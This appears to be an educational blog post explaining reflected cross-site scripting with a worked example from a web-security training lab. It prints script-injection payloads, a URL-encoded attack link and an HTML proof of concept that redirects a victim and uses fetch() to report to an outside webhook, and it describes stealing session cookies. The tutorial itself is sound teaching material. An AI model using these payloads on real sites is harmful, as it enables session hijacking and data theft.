What Is Cross Site Scripting (XSS)?

10 hours ago 6

BOOK THIS SPACE FOR AD

ARTICLE AD

A JavaScript Alert Message With The Prompt “Is This XSS???”

Cross Site Scripting (XSS) is a web attack that runs arbitrary JavaScript in the context of the user’s browsing session. So all cookies that are targeted with the XSS attack will be the cookie’s in the victim’s browser. Attackers using XSS against a victim can make the victim’s browser execute JavaScript code. For example, attackers can potentially use XSS to make a victim travel to a malicious domain, change their email address, or send their sensitive cookies (or other data) to a malicious web server for collection.

Our First Example Of XSS

Analyze the images below

In the above images, XSS was found in the search bar of a blog. I inject a <script>prompt(“Is This XSS???”)</script> into the search bar of the blog. Afterwords, a prompt alert is displayed on the screen, and the XSS payload is reflected in the search parameter in the URL. This is known as Reflected XSS. Let’s look at the page source to see where the XSS is taking place.

If you look at the above small cut-out of the page source of the blog web page, our malicious <script></script> get’s injected into an header tag. The specific HTML is this:

<h1>0 search results for '<script>prompt("Is This XSS???")</script>'</h1>

This is called Reflected XSS into HTML Context. Our XSS payload is injected into the part of the HTML that reflects the user’s search query back to them on the page.

How Would An Attacker Send The XSS Payload To The Victim?

The attacker could send this link with the URL encoded payload to the victim (https://0a14002e046c635e83201e50006d006a.web-security-academy.net/?search=%3Cscript%3Eprompt%28%22Is+This+XSS%3F%3F%3F%22%29%3C%2Fscript%3E) and if the victim visits the link the JavaScript will execute in the context of the victim’s browser. This specific xss payload will make “Is This XSS” alert to the victim’s screen.The attacker could also host the following malicious HTML on their domain, and when the victim visits the attacker’s webpage, the victim’s browser will travel to the location in the link and execute the JavaScript. This specific JavaScript alerts “This is XSS” to the victim’s screen and then makes the victim send a GET request to the attacker’s malicious server with a parameter+value of “msg=xss-confirmed”.<!DOCTYPE html>
<html>
<body>
<script>
window.location.href = "https://0a14002e046c635e83201e50006d006a.web-security-academy.net/?search=%3Cscript%3Ealert%28%22This%20is%20XSS%22%29%3Bfetch%28%22https%3A%2F%2Fwebhook%2Esite%2Ff4a05f1e%2D0bcd%2D4083%2D9769%2D25f5bce3d45e%3Fmsg%3Dxss%2Dconfirmed%22%29%3C%2Fscript%3E";
</script>
</body>
</html>

For context, this is what the victim user would see on their screen after traveling to the attacker’s malicious domain where the above html proof of concept is hosted:

Victim’s View

Attacker’s View

And this is what the attacker would see on their malicious server after the XSS payload is executed in the victim’s browser:

Obviously, no sensitive data was sent over with this XSS payload. However, if other misconfiguration was present on the target website, an attacker could have made the victim user send their session cookie to the attacker’s server. The attacker could then use the victim’s session cookies to conduct a Session Hijacking on the victim user’s account, which essentially means the attacker would be able to be logged in as the victim user.

Cross-Site Scripting (XSS) remains one of the most prevalent and dangerous vulnerabilities in modern web applications due to its ability to execute arbitrary JavaScript in the victim’s browser. As demonstrated, attackers can exploit poorly sanitized input to inject payloads that execute in the context of a user’s session, potentially exposing sensitive data such as cookies, session tokens, or personal information.

The technical impact of XSS goes beyond simple proof-of-concept alerts — it enables attackers to perform session hijacking, force unauthorized actions via CSRF, exfiltrate data, and even deploy more complex attacks such as browser-based keyloggers or malware delivery. This underscores the importance of robust input validation and output encoding practices, along with the implementation of Content Security Policy (CSP), HTTP-only cookies, and other defense-in-depth mechanisms.

By understanding the anatomy of XSS attacks and their potential consequences, security professionals and developers can take a proactive approach to detect, mitigate, and prevent this vulnerability, ensuring a safer web for users.

Thanks for reading, and if you learned something, THANK YOU FOR LEARNING!

Check out my other articles below, say Hi in the comments, and click that clap button for me please =)

Read Entire Article